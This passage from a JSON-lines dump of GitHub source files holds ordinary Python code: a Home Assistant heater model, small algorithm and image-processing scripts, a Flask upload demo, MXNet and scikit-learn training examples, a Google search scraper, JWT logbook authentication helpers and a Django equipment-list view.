'selected_temp' value {status['selected_temp']}\"\n f\" found for {node_type} - please report to \"\n f\"{GITHUB_ISSUES_URL}. status: {status}\"\n )\n return {\n \"on\": True,\n \"mode\": status[\"mode\"],\n \"selected_temp\": status[\"selected_temp\"],\n \"comfort_temp\": str(target_temp),\n \"eco_offset\": status[\"eco_offset\"],\n \"units\": status[\"units\"],\n }\n else:\n return {\n \"stemp\": str(temp),\n \"units\": status[\"units\"],\n }\n\n\ndef get_hvac_mode(node_type: str, status: Dict[str, Any]) -> str:\n _check_status_key(\"mode\", node_type, status)\n if status[\"mode\"] == \"off\":\n return HVAC_MODE_OFF\n elif node_type == HEATER_NODE_TYPE_HTR_MOD and not status[\"on\"]:\n return HVAC_MODE_OFF\n elif status[\"mode\"] == \"manual\":\n return HVAC_MODE_HEAT\n elif status[\"mode\"] == \"auto\":\n return HVAC_MODE_AUTO\n elif status[\"mode\"] == \"modified_auto\":\n # This occurs when the temperature is modified while in auto mode.\n # Mapping it to auto seems to make this most sense\n return HVAC_MODE_AUTO\n elif status[\"mode\"] == \"self_learn\":\n return HVAC_MODE_AUTO\n elif status[\"mode\"] == \"presence\":\n return HVAC_MODE_AUTO\n else:\n _LOGGER.error(f\"Unknown smartbox node mode {status['mode']}\")\n raise ValueError(f\"Unknown smartbox node mode {status['mode']}\")\n\n\ndef set_hvac_mode_args(\n node_type: str, status: Dict[str, Any], hvac_mode: str\n) -> Dict[str, Any]:\n if node_type == HEATER_NODE_TYPE_HTR_MOD:\n if hvac_mode == HVAC_MODE_OFF:\n return {\"on\": False}\n elif hvac_mode == HVAC_MODE_HEAT:\n # We need to pass these status keys on when setting the mode\n required_status_keys = [\"selected_temp\"]\n for key in required_status_keys:\n _check_status_key(key, node_type, status)\n hvac_mode_args = {k: status[k] for k in required_status_keys}\n hvac_mode_args[\"on\"] = True\n hvac_mode_args[\"mode\"] = \"manual\"\n return hvac_mode_args\n elif hvac_mode == HVAC_MODE_AUTO:\n return {\"on\": True, \"mode\": \"auto\"}\n else:\n raise ValueError(f\"Unsupported hvac mode {hvac_mode}\")\n else:\n if hvac_mode == HVAC_MODE_OFF:\n return {\"mode\": \"off\"}\n elif hvac_mode == HVAC_MODE_HEAT:\n return {\"mode\": \"manual\"}\n elif hvac_mode == HVAC_MODE_AUTO:\n return {\"mode\": \"auto\"}\n else:\n raise ValueError(f\"Unsupported hvac mode {hvac_mode}\")\n\n\ndef _get_htr_mod_preset_mode(node_type: str, mode: str, selected_temp: str) -> str:\n if mode == \"manual\":\n if selected_temp == \"comfort\":\n return PRESET_COMFORT\n elif selected_temp == \"eco\":\n return PRESET_ECO\n elif selected_temp == \"ice\":\n return PRESET_FROST\n else:\n raise ValueError(\n f\"'Unexpected 'selected_temp' value {'selected_temp'} found for \"\n f\"{node_type} - please report to {GITHUB_ISSUES_URL}.\"\n )\n elif mode == \"auto\":\n return PRESET_SCHEDULE\n elif mode == \"presence\":\n return PRESET_ACTIVITY\n elif mode == \"self_learn\":\n return PRESET_SELF_LEARN\n else:\n raise ValueError(f\"Unknown smartbox node mode {mode}\")\n\n\ndef get_preset_mode(node_type: str, status: Dict[str, Any], away: bool) -> str:\n if away:\n return PRESET_AWAY\n if node_type == HEATER_NODE_TYPE_HTR_MOD:\n _check_status_key(\"mode\", node_type, status)\n _check_status_key(\"selected_temp\", node_type, status)\n return _get_htr_mod_preset_mode(\n node_type, status[\"mode\"], status[\"selected_temp\"]\n )\n else:\n return PRESET_HOME\n\n\ndef get_preset_modes(node_type: str) -> List[str]:\n if node_type == HEATER_NODE_TYPE_HTR_MOD:\n return [\n PRESET_ACTIVITY,\n PRESET_AWAY,\n PRESET_COMFORT,\n PRESET_ECO,\n PRESET_FROST,\n PRESET_SCHEDULE,\n PRESET_SELF_LEARN,\n ]\n else:\n return [PRESET_AWAY, PRESET_HOME]\n\n\ndef set_preset_mode_status_update(\n node_type: str, status: Dict[str, Any], preset_mode: str\n) -> Dict[str, Any]:\n if node_type != HEATER_NODE_TYPE_HTR_MOD:\n raise ValueError(f\"{node_type} nodes do not support preset {preset_mode}\")\n # PRESET_HOME and PRESET_AWAY are not handled via status updates\n assert preset_mode != PRESET_HOME and preset_mode != PRESET_AWAY\n\n if preset_mode == PRESET_SCHEDULE:\n return set_hvac_mode_args(node_type, status, HVAC_MODE_AUTO)\n elif preset_mode == PRESET_SELF_LEARN:\n return {\"on\": True, \"mode\": \"self_learn\"}\n elif preset_mode == PRESET_ACTIVITY:\n return {\"on\": True, \"mode\": \"presence\"}\n elif preset_mode == PRESET_COMFORT:\n return {\"on\": True, \"mode\": \"manual\", \"selected_temp\": \"comfort\"}\n elif preset_mode == PRESET_ECO:\n return {\"on\": True, \"mode\": \"manual\", \"selected_temp\": \"eco\"}\n elif preset_mode == PRESET_FROST:\n return {\"on\": True, \"mode\": \"manual\", \"selected_temp\": \"ice\"}\n else:\n raise ValueError(f\"Unsupported preset {preset_mode} for node type {node_type}\")\n\n\ndef is_heating(node_type: str, status: Dict[str, Any]) -> str:\n return status[\"charging\"] if node_type == HEATER_NODE_TYPE_ACM else status[\"active\"]\n\n\ndef get_factory_options(node: Union[SmartboxNode, MagicMock]) -> FactoryOptionsDict:\n return cast(FactoryOptionsDict, node.setup.get(\"factory_options\", {}))\n\n\ndef window_mode_available(node: Union[SmartboxNode, MagicMock]) -> bool:\n return get_factory_options(node).get(\"window_mode_available\", False)\n\n\ndef true_radiant_available(node: Union[SmartboxNode, MagicMock]) -> bool:\n return get_factory_options(node).get(\"true_radiant_available\", False)\n","repo_name":"graham33/hass-smartbox","sub_path":"custom_components/smartbox/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":17778,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"9353005617","text":"from collections import deque\n\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\ndef solution(maps):\n def BFS(x, y):\n foodAmount = 0\n q = deque()\n \n def gainFood(posX, posY):\n \n food = int(maps[posX][posY])\n \n maps[posX][posY] = 'X'\n q.append([posX,posY])\n \n return food\n \n foodAmount += gainFood(x,y)\n \n while(q):\n cx, cy = q.popleft()\n for i in range(4):\n nx, ny = cx + dy[i], cy + dx[i]\n if(0 <= nx < n and 0 <= ny < m and maps[nx][ny] != 'X'):\n foodAmount += gainFood(nx,ny)\n \n return foodAmount\n \n maps = list(map(list, maps))\n n, m = len(maps), len(maps[0])\n answer = []\n \n for i in range(n):\n for j in range(m):\n if(maps[i][j] != \"X\"):\n answer.append(BFS(i, j))\n \n answer.sort()\n return answer if answer else [-1]","repo_name":"juwonk1018/Algorithm","sub_path":"프로그래머스/unrated/154540. 무인도 여행/무인도 여행.py","file_name":"무인도 여행.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4951441937","text":"import cv2\nimport numpy as np\nimport sys\n\n# Gets the ball rolling\ndef main(PADDING_PIXELS, SIDE_LENGTH, FILE_NAME, NEW_FILE_NAME):\n\n\t# open up an image. Extra arg preserves alpha channel.\n\toriginal_img = cv2.imread(FILE_NAME, cv2.IMREAD_UNCHANGED)\n\n\t# If FileNotFound then original_img will be None\n\tif not original_img.any():\n\t\tbail(\"Original image file not found. Check the provided path.\")\n\n\t# Split the image into 2D list. The images in this list have padding.\n\timages = split_image(SIDE_LENGTH, PADDING_PIXELS, original_img)\n\n\t# Finally, recombine all the smaller images and save the resultant image.\n\trecombine(images, NEW_FILE_NAME)\n\n\n# Splits the given image into individual images. Saves in 2D array.\ndef split_image(SIDE_LENGTH, PADDING_PIXELS, original_img):\n\n\t# If padding pixels is negative (reduction) then need to add the pixels of padding\n\t# to the side lengths.\n\tif PADDING_PIXELS < 0:\n\t\tSIDE_LENGTH += 2 * abs(PADDING_PIXELS)\n\n\t# get height and width\n\theight = original_img.shape[0]\n\twidth = original_img.shape[1]\n\n\t# height and width should be cleanly divisible by SIDE_LENGTH.\n\t# If not, most likely was a user input error for SIDE_LENGTH.\n\t# Either that or image isnt correct... but who knows figure it out later.\n\t#assert height % SIDE_LENGTH == 0 and width % SIDE_LENGTH == 0\n\n\t# Iterate by columns first.\n\t# Temporarily store images in 2D array and use to reconstruct image later.\n\timages = []\n\tfor i in range(0, width, SIDE_LENGTH):\n\t\trow = []\n\t\tfor j in range(0, height, SIDE_LENGTH):\n\n\t\t\t# slice the image\n\t\t\ttemp_img = original_img[j:j+SIDE_LENGTH, i:i+SIDE_LENGTH]\n\n\t\t\t# Now apply the padding if padding pixels is positive (enlargement).\n\t\t\tif PADDING_PIXELS > 0:\n\t\t\t\ttemp_img = cv2.copyMakeBorder(temp_img,PADDING_PIXELS,PADDING_PIXELS,PADDING_PIXELS,\n\t\t\t\t\t\t\tPADDING_PIXELS,cv2.BORDER_REPLICATE)\n\t\t\t\n\t\t\t# If its negative just slice it to the required pixels.\n\t\t\telif PADDING_PIXELS < 0:\n\t\t\t\ttemp_img = temp_img[abs(PADDING_PIXELS):(SIDE_LENGTH - abs(PADDING_PIXELS)), \n\t\t\t\t\t\t\t\t\tabs(PADDING_PIXELS):(SIDE_LENGTH - abs(PADDING_PIXELS))]\n\n\t\t\trow.append(temp_img)\n\n\t\timages.append(row)\n\t\n\treturn images\n\n\n# Takes split image 2D array and recreates our new image with new dimensions\ndef recombine(images, filename):\n\t# Objects in images are all cv2 images (or actually maybe numpy arrays.)\n\t# So maybe we can just concatenate all rows and all columns?\n\trows = []\n\tfor column in images:\n\t\tim_vertical = cv2.vconcat(column)\n\t\trows.append(im_vertical)\n\t\n\t# Now concatenate all the rows vertically\n\tresult = cv2.hconcat(rows)\n\tcv2.imwrite(filename, result)\n\n\n# Get the inputs from the user.\ndef prompt_user():\n\n\tprint(\"Mario Maker texture file padding adder/reducer.\")\n\tprint(\"Alright just follow the prompts.\")\n\n\tprint(\"\\n\\nEnter the number of pixels to add.\")\n\tprint(\"A positive number will add a buffer.\")\n\tprint(\"A negative number will remove a buffer.\")\n\ttry:\n\t\tPADDING_PIXELS = int(input(\"Number of padding pixels: \"))\n\texcept ValueError:\n\t\tbail(\"Nope. Try again. This needs to be an integer.\")\n\n\tprint(\"\\n\\nEnter the side length of each INDIVIDUAL image.\")\n\tprint(\"Note: This assumes the images are square!\")\n\ttry:\n\t\tSIDE_LENGTH = int(input(\"Side length: \"))\n\texcept ValueError:\n\t\tbail(\"Nope. Try again. This needs to be an integer.\")\n\n\tprint(\"\\n\\nEnter the file name (or path to file) of image to be manipulated.\")\n\tFILE_NAME = input(\"Path to image: \")\n\n\tprint(\"\\n\\nEnter the file name that you wish to save the image to.\")\n\tNEW_FILE_NAME = input(\"Image destination: \")\n\n\tmain(PADDING_PIXELS, SIDE_LENGTH, FILE_NAME, NEW_FILE_NAME)\n\n\ndef bail(message):\n\tprint(\"\\n\" + message)\n\tinput()\n\tsys.exit()\n\n\nprompt_user()\n","repo_name":"KartMakerBrosU/Padding-Adder-Remover","sub_path":"add_padding.py","file_name":"add_padding.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23984924366","text":"from flask import Flask,request,abort\n\napp = Flask(__name__)\n\n@app.route(\"/\",methods=[\"POST\",\"GET\"])\ndef index():\n file_obj = request.files.get(\"pic\")\n if file_obj==None:\n return \"未上传文件\"\n\n file_obj.save(\"./pic.png\")\n return \"upload success\"\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"xindelvcheng/LearningNotes","sub_path":"FlaskNote/upload_demo.py","file_name":"upload_demo.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24708300338","text":"# coding=utf-8\nimport os, sys\nimport time\nimport mxnet as mx\nfrom mxnet import gluon, init, nd, autograd\nfrom mxnet.gluon import nn\nfrom mxnet.gluon import data as g_data\nfrom mxnet.gluon import loss as g_loss\n\n\ndef try_gpu(gpu_id):\n\ttry:\n\t\tctx = mx.gpu(gpu_id)\n\t\t_ = nd.zeros((1,), ctx=ctx)\n\texcept mx.base.MXNetError:\n\t\tctx = mx.cpu()\n\treturn ctx\n\ndef load_data_fashion_mnist(batch_size, resize=None, \n\t\troot=os.path.join(\"~\", \".mxnet\", \"dataset\", \"fashion-mnist\")):\n\troot = os.path.expanduser(root)\n\ttransformer = []\n\tif resize:\n\t\ttransformer += [g_data.vision.transforms.Resize(resize)]\n\ttransformer += [g_data.vision.transforms.ToTensor()]\n\ttransformer = g_data.vision.transforms.Compose(transformer)\n\tmnist_train = g_data.vision.FashionMNIST(root=root, train=True)\n\tmnist_test = g_data.vision.FashionMNIST(root=root, train=False)\n\t# num_workers = 0 if sys.platform.startswith('win32') else 4\n\ttrain_iter = g_data.DataLoader(\n\t\tmnist_train.transform_first(transformer), batch_size=batch_size, shuffle=True)\n\ttest_iter = g_data.DataLoader(\n\t\tmnist_test.transform_first(transformer), batch_size=batch_size, shuffle=False)\n\treturn train_iter, test_iter\n\ndef evaluate_accuracy(data_iter, net, ctx):\n\tacc_sum, n = nd.array([0], ctx=ctx), 0\n\tfor x, y in data_iter:\n\t\tx, y = x.as_in_context(ctx), y.as_in_context(ctx).astype('float32')\n\t\tacc_sum += (net(x).argmax(axis=1) == y).sum()\n\t\tn += y.size\n\t\treturn acc_sum.asscalar() / n\n\ndef train(net, train_iter, test_iter, batch_size, trainer, num_epochs, ctx=mx.cpu()):\n\tprint(\"training on\", ctx)\n\tloss = g_loss.SoftmaxCrossEntropyLoss()\n\tfor epoch in range(num_epochs):\n\t\ttrain_l_sum = 0.0\n\t\ttrain_acc_sum = 0.0\n\t\tn = 0\n\t\tstart = time.time()\n\t\tfor x, y in train_iter:\n\t\t\tx = x.as_in_context(ctx)\n\t\t\ty = y.as_in_context(ctx)\n\t\t\twith autograd.record():\n\t\t\t\ty_hat = net(x)\n\t\t\t\tl = loss(y_hat, y)\n\t\t\tl.backward()\n\t\t\ttrainer.step(batch_size)\n\t\t\ttrain_l_sum += l.sum().asscalar()\n\n\t\t\ty = y.astype('float32')\n\t\t\ttrain_acc_sum += (y_hat.argmax(axis=1) == y).sum().asscalar()\n\t\t\tn += y.size\n\t\ttest_acc = evaluate_accuracy(test_iter, net, ctx)\n\t\tprint('epoch %d, loss %.4f, train acc %.3f, test acc %.3f, time %.1f sec'\n\t\t\t% (epoch + 1, train_l_sum / n, train_acc_sum / n, test_acc, \n\t\t\ttime.time() - start))\n\n\n# 从零开始实现\ndef batch_norm(x, gamma, beta, moving_mean, moving_var, momentum=0.9, eps=1e-5):\n\tif not autograd.is_training():\n\t\tx_hat = (x - moving_mean) / nd.sqrt(moving_var + eps)\n\telse:\n\t\tassert len(x.shape) in (2, 4)\n\t\tif len(x.shape) == 2:\n\t\t\tmean = x.mean(axis=0)\n\t\t\tvar = ((x - mean) ** 2).mean(axis=0)\n\t\telse:\n\t\t\tmean = x.mean(axis=(0, 2, 3), keepdims=True)\n\t\t\tvar = ((x - mean) ** 2).mean(axis=(0, 2, 3), keepdims=True)\n\t\tx_hat = (x - mean) / nd.sqrt(var + eps)\n\t\tmoving_mean = momentum * moving_mean + (1.0 - momentum) * mean\n\t\tmoving_var = momentum * moving_var + (1.0 - momentum) * var\n\ty = gamma * x_hat + beta\n\treturn y, moving_mean, moving_var\n\nclass BatchNorm(nn.Block):\n\tdef __init__(self, num_features, num_dims, **kwargs):\n\t\tsuper(BatchNorm, self).__init__(**kwargs)\n\t\tif num_dims == 2:\n\t\t\tshape = (1, num_features)\n\t\telse:\n\t\t\tshape = (1, num_features, 1, 1)\n\t\tself.gamma = self.params.get(\"gamma\", shape=shape, init=init.One())\n\t\tself.beta = self.params.get(\"beta\", shape=shape, init=init.Zero())\n\t\tself.moving_mean = nd.zeros(shape)\n\t\tself.moving_var = nd.zeros(shape)\n\t\n\tdef forward(self, x):\n\t\tif self.moving_mean.context != x.context:\n\t\t\tself.moving_mean = self.moving_mean.copyto(x.context)\n\t\t\tself.moving_var = self.moving_var.copyto(x.context)\n\t\ty, self.moving_mean, self.moving_var = batch_norm(\n\t\t\tx, self.gamma.data(), self.beta.data(), self.moving_mean, self.moving_var)\n\t\treturn y\n\n# net = nn.Sequential()\n# net.add(\n# \tnn.Conv2D(6, kernel_size=5),\n# \tBatchNorm(6, num_dims=4),\n# \tnn.Activation('sigmoid'),\n# \tnn.MaxPool2D(pool_size=2, strides=2),\n# \tnn.Conv2D(16, kernel_size=5),\n# \tBatchNorm(16, num_dims=4),\n# \tnn.Activation('sigmoid'),\n# \tnn.MaxPool2D(pool_size=2, strides=2),\n# \tnn.Dense(120),\n# \tBatchNorm(120, num_dims=2),\n# \tnn.Activation('sigmoid'),\n# \tnn.Dense(84),\n# \tBatchNorm(84, num_dims=2),\n# \tnn.Activation('sigmoid'),\n# \tnn.Dense(10)\n# )\n\n# lr = 1.0\n# num_epochs = 5\n# batch_size = 256\n# ctx = try_gpu(7)\n# net.initialize(init=init.Xavier(), ctx=ctx)\n# trainer = gluon.Trainer(net.collect_params(), 'sgd', {'learning_rate': lr})\n# train_iter, test_iter = load_data_fashion_mnist(batch_size)\n# train(net, train_iter, test_iter, batch_size, trainer, num_epochs, ctx)\n\n\n# 简洁实现\nnet = nn.Sequential()\nnet.add(\n\tnn.Conv2D(6, kernel_size=5),\n\tnn.BatchNorm(),\n\tnn.Activation('sigmoid'),\n\tnn.MaxPool2D(pool_size=2, strides=2),\n\tnn.Conv2D(16, kernel_size=5),\n\tnn.BatchNorm(),\n\tnn.Activation('sigmoid'),\n\tnn.MaxPool2D(pool_size=2, strides=2),\n\tnn.Dense(120),\n\tnn.BatchNorm(),\n\tnn.Activation('sigmoid'),\n\tnn.Dense(84),\n\tnn.BatchNorm(),\n\tnn.Activation('sigmoid'),\n\tnn.Dense(10)\n)\n\nlr = 1.0\nnum_epochs = 5\nbatch_size = 256\nctx = try_gpu(7)\nnet.initialize(init=init.Xavier(), ctx=ctx)\ntrainer = gluon.Trainer(net.collect_params(), 'sgd', {'learning_rate': lr})\ntrain_iter, test_iter = load_data_fashion_mnist(batch_size)\ntrain(net, train_iter, test_iter, batch_size, trainer, num_epochs, ctx)\n","repo_name":"stxws/deep_learning","sub_path":"04_cnn/10_batch_normal.py","file_name":"10_batch_normal.py","file_ext":"py","file_size_in_byte":5190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71050185211","text":"import pandas as pd\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom sklearn.model_selection import cross_val_score\n\nfrom sklearn.model_selection import train_test_split\n\nimport matplotlib.pyplot as plt\ntrain_df = pd.read_csv(\"../input/train.csv\").drop('id', axis=1)\n\ntrain_df.head()\ntest_df = pd.read_csv('../input/test.csv').drop('id', axis = 1)\n\ntest_df.head()\nplt.bar(range(2), (train_df.shape[0], test_df.shape[0])) \n\nplt.xticks(range(2), ('Train', 'Test'))\n\nplt.ylabel('Count') \n\nplt.show()\ny = train_df['target']\n\nX = train_df.drop('target', axis=1)\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42)\nbest_score = 0\n\nfor penalty in ['l1', 'l2']:\n\n for C in [0.001, 0.01, 0.1, 1, 10, 100]: \n\n logreg = LogisticRegression(class_weight='balanced', penalty=penalty, C=C, solver='liblinear')\n\n logreg.fit(X_train, y_train)\n\n score = logreg.score(X_test, y_test)\n\n if score > best_score:\n\n best_score = score\n\n best_parameters = {'C': C, 'penalty': penalty} \nlogreg = LogisticRegression(**best_parameters)\n\nlogreg.fit(X_train, y_train)\n\ntest_score = logreg.score(X_test, y_test)\nprint(\"Best score: {:.2f}\".format(best_score))\n\nprint(\"Best parameters: {}\".format(best_parameters))\n\nprint(\"Best score on test data: {:.2f}\".format(test_score))\nsub = pd.read_csv('../input/sample_submission.csv')\n\nsub['target'] = logreg.predict_proba(test_df)[:,1]\n\nsub.to_csv('submission.csv', index=False)","repo_name":"aorursy/new-nb-1","sub_path":"ateplyuk_dntoverfit-starter.py","file_name":"ateplyuk_dntoverfit-starter.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32825439959","text":"\"\"\"Google search tools.\"\"\"\nimport os\nimport random\nimport asyncio\nfrom urllib.parse import quote_plus, urlparse, parse_qs\nimport aiohttp\nimport async_timeout\nfrom bs4 import BeautifulSoup\nfrom convert_to_old_syntax import cur_dir\n\nurl_home = \"https://www.google.com/\"\n\nasync def get_page(url, user_agent='Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)'):\n \"\"\"Fetch the contents of an url.\"\"\"\n async with aiohttp.ClientSession(loop=asyncio.get_event_loop()) as session:\n with async_timeout.timeout(8):\n async with session.get(url, headers={'User-Agent': user_agent}) as resp:\n return await resp.text()\n\nasync def filter_result(link):\n try:\n # Valid results are absolute URLs not pointing to a Google domain\n # like images.google.com or googleusercontent.com\n o = urlparse(link, 'http')\n if o.netloc and 'google' not in o.netloc:\n return link\n # Decode hidden URLs.\n if link.startswith('/url?'):\n link = parse_qs(o.query)['q'][0]\n # Valid results are absolute URLs not pointing to a Google domain\n o = urlparse(link, 'http')\n if o.netloc and 'google' not in o.netloc:\n return link\n except Exception:\n pass\n return None\nasync def search(query, num=3):\n url_t = url_home + 'search?hl=en&q=%(query)s&num=%(num)d&btnG=Google+Search&tbs=0&safe=off&tbm='\n query = quote_plus(query)\n ret = []\n html = await get_page(url_t % vars())\n hashes = set()\n soup = BeautifulSoup(html, 'html.parser')\n anchors = soup.find(id='search').findAll('a')\n for a in anchors:\n # Get the URL from the anchor tag.\n try:\n link = a['href']\n except KeyError:\n continue\n # Filter invalid links and links pointing to Google itself.\n link = await filter_result(link)\n if not link:\n continue\n # Discard repeated results.\n h = hash(link)\n if h in hashes:\n continue\n hashes.add(h)\n ret.append(link)\n return ret\n","repo_name":"xrxbsx/goldmine","sub_path":"util/google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"5694721285","text":"from .db import Logbook\nimport requests\nfrom flask import current_app\nfrom flask_restful import reqparse\nimport sys\n\n\ndef login(username, password):\n \"\"\"\n Performs username/password autentication against the API endpoint JWT_AUTH_URL. In the case of max iv the authentication\n service returns a JSON object with the following data:\n {\n \"jwt\": String //a jwt token. The following data is the content of the payload of this token\n \"username\": String,\n \"groups\": String[], //the groups the user belongs to\n \"phone\": String,\n \"email\": String, \n \"name\": String, //Full name\n \"iat\": number, //Issuing time\n \"exp\": number, //Exp time\n}\n Most of this data is used in elogy:\n jwt - stored as a cookie. used by the backend to authenticate requests to restricted logbooks\n username - saved to logbook.owner if creating a logbook while logged in. Used to determine if a user can see the \"visiblity\"\n drop-down when editing a logbook\n groups - is listed in the \"visibility\" dropdown when editing a logbook. Stored in logbook.user_group, which is used to determine\n if a user has access to a logbook\n phone - not used\n email - not used\n name - displayed in the top left corner of elogy after logging in\n ait - not used\n exp - used to determine if the jwt token is still valid. In the front-end it's validated whenever the component Elogy is mounted.\n In the backend it is validated whenever access to a restricted logbook is requested.\n \"\"\"\n\n r = requests.post(\n url=current_app.config[\"JWT_AUTH_URL\"], data={\"username\": username, \"password\": password, \"includeDecoded\": True})\n\n if r.status_code is not 200:\n print(\"Error status code: \" + str(r.status_code), file=sys.stdout)\n raise Exception()\n else:\n data = r.json()\n return data\n\n\ndef get_user():\n \"\"\" Returns the currently logged in user or an empty string. Does this by decoding jwt (externally), and then returning its username attribute\"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('jwt', location='cookies')\n args = parser.parse_args()\n jwt = args[\"jwt\"]\n if not jwt:\n return \"\"\n\n r = requests.post(\n url=current_app.config[\"JWT_DECODE_URL\"], data={\"jwt\": jwt})\n\n if r.status_code is not 200:\n print(\"Error status code: \" + str(r.status_code), file=sys.stdout)\n return \"\"\n else:\n data = r.json()\n return data[\"username\"]\n\n\ndef has_access(user_group=\"\", logbook_id=None):\n \"\"\"\n Determines if the user making the current request belongs to the given user_group, either by providing the user_group directly,\n or by giving the id of the logbook for which the user_group should be checked\n Returns True if \n 1) user_group is not defined (implying the logbook has no group lock), OR\n 2) if the jwt can be properly decoded by the auth service, and its group list includes user_group\n \"\"\"\n\n if not logbook_id is None:\n user_group = Logbook.get(Logbook.id == logbook_id).user_group\n if not user_group:\n return True\n\n parser = reqparse.RequestParser()\n parser.add_argument('jwt', location='cookies')\n args = parser.parse_args()\n jwt = args[\"jwt\"]\n if not jwt:\n return False\n\n r = requests.post(\n url=current_app.config[\"JWT_DECODE_URL\"], data={\"jwt\": jwt})\n\n if r.status_code is not 200:\n print(\"Error status code: \" + str(r.status_code), file=sys.stdout)\n return False\n else:\n data = r.json()\n return user_group in data[\"groups\"]\n","repo_name":"MBI-Div-B/Elogy","sub_path":"backend/backend/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23495234074","text":"#dictionary with in dictionary\ndict1={\n \"kid\":{\n \"name\":\"kidus negash\",\n \"sex\":\"male\" ,\n \"age\":26\n },\n \"bereket\":{\n \"name\":\"bereket samuel\",\n \"sex\":\"male\",\n \"age\":15\n },\n \"papy\":{\n \"name\":\"fitsum\",\n \"sex\":\"male\",\n \"age\":27\n }\n}\n\nfor name,data in dict1.items():\n for key,data in data.items():\n print(f\"this is key value {key} and data value is {data}\")\n\n","repo_name":"Dekuse/pythonTests","sub_path":"more dictionaries.py","file_name":"more dictionaries.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30202482835","text":"from BaseValidator import BaseValidator\n\n\nclass ENValidator(BaseValidator):\n def __init__(self, dataset, datasetSub, curFold, totalFolds, usr2itemsIndxTrain, usr2itemsIndxValid, MAX_TRAIN_NUM, ITEM_FIELDS_NUM, predictTrain=False, write2File=True):\n super(ENValidator, self).__init__(dataset, datasetSub, curFold, totalFolds, usr2itemsIndxTrain, usr2itemsIndxValid, MAX_TRAIN_NUM, ITEM_FIELDS_NUM, predictTrain=predictTrain, write2File=write2File)\n\n # Customized params\n self.RevealRun = min(500, self.MAX_TRAIN_NUM/2)\n self.CalLossRun = min(500, self.RevealRun)\n","repo_name":"LplusKira/SNE_lab","sub_path":"SNE_lab/statevalidators/ENValidator.py","file_name":"ENValidator.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"43636135641","text":"from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport pymysql\nimport json\n\nfrom base.websocket_terminal import hp_sessions\nfrom base.models import Terminal_Equ\nfrom base import constant, common_tools, db_tools\n\n# 全局业务表表名\ntable_name = 'base_terminal_equ'\n# 全局缓存对象\ncache_equs = {} # key-value形式\n\n\n# 查询所有终端设备列表\ndef to_terminal_equ_list(request):\n context = {}\n return render(request, \"base/terminal_equ_list.html\", context)\n\n\n# 分页查询用户列表\ndef equ_query(request):\n # 整合用户查询的from where语句\n param_strs = {\n 'equType': request.GET.get('equType'), # 设备类型\n 'aliasName': request.GET.get('aliasName'), # 设备类型\n 'equNameLike': request.GET.get('equNameLike'), # 模糊搜索设备名称\n 'macLike': request.GET.get('macLike'), # 模糊搜索mac\n }\n sql_paras = [] # 注入的sql参数(list类型)\n sql_from_where = init_from_where_sql(param_strs, sql_paras)\n # 分页查询对象\n pager = {\n 'page': request.GET.get('page'), # 页码\n 'limit': request.GET.get('limit'), # 每页数量\n 'sidx': request.GET.get('sidx'), # 使用的排序字段\n 'order': request.GET.get('order'), # 使用的排序方式\n 'default_sidx': ' t.equ_name ', # 默认的排序方式\n }\n page = db_tools.find_pager_by_sql(pager, \" select t.* \", sql_from_where, sql_paras)\n return common_tools.re_ok({'page': page})\n\n\n# 整合查询用户的原生sql\ndef init_from_where_sql(param_strs, sql_paras):\n equType = param_strs['equType'] if 'equType' in param_strs else '' # 设备类型\n aliasName = param_strs['aliasName'] if 'aliasName' in param_strs else '' # 别名\n equNameLike = param_strs['equNameLike'] if 'equNameLike' in param_strs else '' # 模糊搜索设备名称\n macLike = param_strs['macLike'] if 'macLike' in param_strs else '' # 精确查询参数名\n mac = param_strs['mac'] if 'mac' in param_strs else '' # mac地址\n idNot = param_strs['idNot'] if 'idNot' in param_strs else '' # 主键不为某值\n sql = \" from \" + table_name + \" t where 1 = 1 \"\n if idNot:\n sql += \" and t.id <> %s \"\n sql_paras.append(idNot)\n if equNameLike:\n # 解决模糊查询, 需要在字符串前后手动拼接百分号\n equNameLike = \"%%\" + pymysql.escape_string(equNameLike) + \"%%\" # 防止sql注入\n sql += \" and t.equ_name like %s \"\n sql_paras.append(equNameLike)\n if macLike:\n macLike = \"%%\" + pymysql.escape_string(macLike) + \"%%\" # 防止sql注入\n sql += \" and t.mac like %s \"\n sql_paras.append(macLike)\n if equType:\n sql += \" and t.equ_type = %s \"\n sql_paras.append(equType)\n if aliasName:\n sql += \" and t.alias_name = %s \"\n sql_paras.append(aliasName)\n if mac:\n sql += \" and t.mac = %s \"\n sql_paras.append(mac)\n return sql\n\n\n# 保存一个一体机连接\ndef save_ytj_equ(request):\n mac = request.GET.get('mac') # 一体机的mac地址\n app_version = request.GET.get('app_version') # 一体机使用的客户端版本\n # 执行现有一体机的删除\n equ_type = constant.TERMINAL_TYPE_YTJ\n db_tools.update_one_sql(\"delete 